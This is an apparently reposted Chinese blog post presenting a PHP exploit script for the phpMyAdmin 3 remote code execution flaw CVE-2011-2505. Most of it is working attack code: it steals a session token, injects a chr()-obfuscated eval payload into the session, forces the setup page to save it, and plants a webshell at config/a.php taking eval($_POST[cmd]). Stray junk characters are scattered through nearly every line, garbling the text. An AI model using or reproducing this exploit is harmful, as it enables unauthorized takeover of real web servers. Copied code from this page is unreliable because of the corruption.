最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。/ S- j6 O1 T2 a |5 l
. @$ a6 C* }0 k3 \& l昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。
9 l( \0 g; y# @3 G, m5 q# o- \- }, n2 h1 j
首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:
- b8 W) ~" Y5 ]5 f0 u/ t一是session.auto_start = 1;* O3 J; a' f. D6 d9 R1 r. x+ ?0 o
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
3 M( Q9 A, }" ^$ |9 }1 j, C当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。
l' Q; j5 r+ e H6 d3 A, g* i+ I E7 R
在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。! @: f+ u* n" T6 z
Z" j5 L" b) o1 |: ]- {于是写了这个php版本的exp,代码如下:
5 b2 A% G! Q) ~
1 v8 S3 s) c3 i$ ~0 I7 I' Z- ?#!/usr/bin/php
) ?8 a) G' q# p G$ O9 f! o<?php% V$ t% w' w5 i
print_r(' q- r* `5 Y8 q) d& ~' Q
+---------------------------------------------------------------------------+
: v& e9 J) u' j/ i: w spma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]3 u9 ^$ {: l" h* K" O
by oldjun(www.oldjun.com)
* l& R8 C& j$ P( o, J9 [0 w: U/ xwelcome to www.t00ls.net
/ R v5 n4 E' j: \0 }" l8 Kmail: oldjun@gmail.com
6 `7 V, M& Q, {* o {0 s. [: QAssigned CVE id: CVE-2011-2505
' ?; u; L7 j; ^' p- I- C* C; u9 h: F+---------------------------------------------------------------------------+0 R0 H0 @: s h! f+ o S
');: A3 Y, h( `$ [" _
, Y7 H4 f4 {+ E* ^6 j3 V
/**9 F- {/ t/ S; W5 m7 b/ w, Y
* working when the directory:"config" exists and is writeable.# X9 ~9 A7 c- ^9 f$ I! J0 x- I
**// R$ `2 ]4 h9 c( M) `. M
) c( B W# V" v, T& n3 ]if ($argc < 3) {# ~1 J [. c8 j. E+ U9 t. x, i
print_r('0 w9 a7 L2 h! }1 x
+---------------------------------------------------------------------------+
$ f( f$ J8 _8 z# Y+ ?+ W% BUsage: php '.$argv[0].' host path- c3 L6 O- g, D
host: target server (ip/hostname)
0 s# F. A' S) Zpath: path to pma3+ X( o$ y$ S& f
Example:7 K8 l, l' C" O5 u9 S
php '.$argv[0].' localhost /pma/4 p7 c/ H- j" ]8 S5 v( ?0 S7 s
+---------------------------------------------------------------------------+
6 i; E/ U% i! b! z* [');
+ o2 x l3 X5 B) |" A1 x v0 j exit;
6 X& p% x n0 l7 F, S}+ ^' Z/ m5 A8 i. H
7 s& s5 V/ R. K! D
$host = $argv[1];" [2 F6 B5 [, S- L, U/ l: C8 N
$path = $argv[2];
* r* Q) e* c1 N$ s9 W8 Z
$ Q, E1 X1 D& k! y0 A/**
* K1 B+ t% Y6 i3 V$ w7 |" R * Try to determine if the directory:"config" exists& f0 i7 a, Q* N
**/- {, g: T2 \- a1 c4 `' x
echo "[+] Try to determine if the directory:config exists....\n";6 j$ [0 E3 \) d0 }! B
$returnstr=php_request('config/');
% J3 K- x# R+ z7 p X* \if(strpos($returnstr,'404')){
# n+ e5 o: u3 l* ^, L; i ~ exit("[-] Exploit Failed! The directory:config do not exists!\n");- n8 T; A) ~: u) B; w; c1 r
}
_9 I, G. E8 i8 X2 T: E, Q. r
) a5 k1 P* g3 x: p: T& \/*** Z* z6 E! R' x* j
* Try to get token and sessionid
) ]% b4 @3 d! M, U% q**/: W+ w. {; q" {4 M- `* V# V
echo "[+] Try to get token and sessionid....\n";
8 @& \9 M3 V" W+ X, k. c1 L$result=php_request('index.php');* b$ z0 R5 Q/ Q7 A8 |# R! K
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
. [/ T& ?# P. t$token=$resp[3];) N' I) W8 k& @0 K! N
$sessionid=$resp[1];. N S- f4 {; I6 B6 P, L0 W% t
if($token && $sessionid){
# p0 I& H, E7 H/ {8 W, W echo "[+] token token\n";
& ~4 Q" w; g+ u echo "[+] Session ID sessionid\n";6 ?/ ]+ W2 N' [1 q: z) X
}else{$ O# w4 J2 _, f' m' h: U; Y
exit("[-] Can't get token and Session ID,Exploit Failed!\n"); T" l$ @- P [- \; O9 A
}( |1 K/ t8 A2 |* N" ^3 x. Z2 [
% E2 U5 W2 N9 P1 @+ S j8 r' s
/**
% K( W1 w: w/ Z& N, ~ * Try to insert shell into session
: H* k5 U( `0 p: M, G**/
?% q6 k/ H! c ]4 `) {0 pecho "[+] Try to insert shell into session....\n";% a* N. L& h" ?7 h
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.- n$ Q. S" z1 r
" E _% V, _9 W
/**4 Y1 @5 \. c/ M1 ]. ]# n4 }5 p
* Try to create webshell
f0 H% e/ u1 P1 z2 u7 A$ G2 M**/8 \3 k7 ?1 r0 G* C
echo "[+] Try to create webshell....\n";
0 U, _) Q) U5 n$ ophp_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);+ r! Z/ r3 { j# `( ~2 P
/**
; T- ^/ n0 ]2 L" J * Try to check if the webshell was created successfully. D2 ]# O/ Q0 o/ k
**/
% d1 A5 e6 y1 V8 V5 d |echo "[+] Try to check if the webshell was created successfully....\n";
/ X5 |8 G$ l2 n2 U, |7 b$content=php_request('config/config.inc.php');% v; ~" I0 S" ~* U; b0 i
if(strpos($content,'t00ls')){
- J9 g0 |1 `- R2 e9 U7 S echo "[+] Congratulations! Expoilt successfully....\n";) S# Z) _. q! w. g# ]2 c. T
echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
- Z+ d) I3 L R+ [" z}else{2 S+ A4 R& k! q5 C; _
exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");( j2 m% X0 ~) f8 j [
}% C! v: f% M1 Y* u
0 S5 J0 M5 s' y! D2 bfunction php_request($url,$data='',$cookie=''){
% ]5 W% m8 Q8 R3 n! | global $host, $path;2 z7 T, k0 ^ a- e0 E& p+ @7 Q6 [* o
5 n+ \ m8 t/ i$ ?: ?7 Y $method=$data?'POST':'GET';5 D) R$ {* a( Q- a* i- `6 ~
: c# ]) @( N4 A0 V. K7 w4 c. X7 X $packet = $method." ".$path.$url." HTTP/1.1\r\n";
" V P. o: c; m7 x( t $packet .= "Accept: */*\r\n";
; d7 r' u: x- I& G" r" q P. ? $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
+ N0 J- I9 ~* X2 x/ ^! P $packet .= "Host: $host\r\n";! I6 }% `- I, i
$packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
1 h8 s9 R+ x$ ~ W $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";7 S3 Q: }- }6 q# _
$packet .= $cookie?"Cookie: $cookie\r\n":"";0 B4 `# e6 q0 ]6 N: Z
$packet .= "Connection: Close\r\n\r\n";# U4 v) b! A7 D5 e- ^
$packet .= $data?$data:"";0 y5 M) }6 x4 T+ y8 ]
( t( D" N0 l P G$ [0 w1 y% | $fp = fsockopen(gethostbyname($host), 80);% N, [( U# W# Q3 O* U4 B
if (!$fp) {, }& I2 f8 G# n; }5 j8 p
echo 'No response from '.$host; die;. S$ ^, j0 x* `: w c: p# b
}
0 G/ h$ O, t9 O3 T& c \/ F fputs($fp, $packet);
2 O0 T: z/ \8 Z4 a: W- s) r5 l2 ?0 b t0 a. g. A
$resp = '';4 q. K* j1 w- S1 u- B1 n1 r- E
7 w8 p6 ^9 b0 H' J
while ($fp && !feof($fp))! g A- E' B* D
$resp .= fread($fp, 1024);
! O" N; g* i w: Z2 H3 w
1 l& U+ m6 _+ W9 ?- R6 E return $resp;6 X% x( O0 O) B% R* U: R
}
& g/ G; N* z+ d- g3 ] 2 N8 _! p0 o: I1 r$ ?7 d
?>
# q8 ?* Z' t3 W. |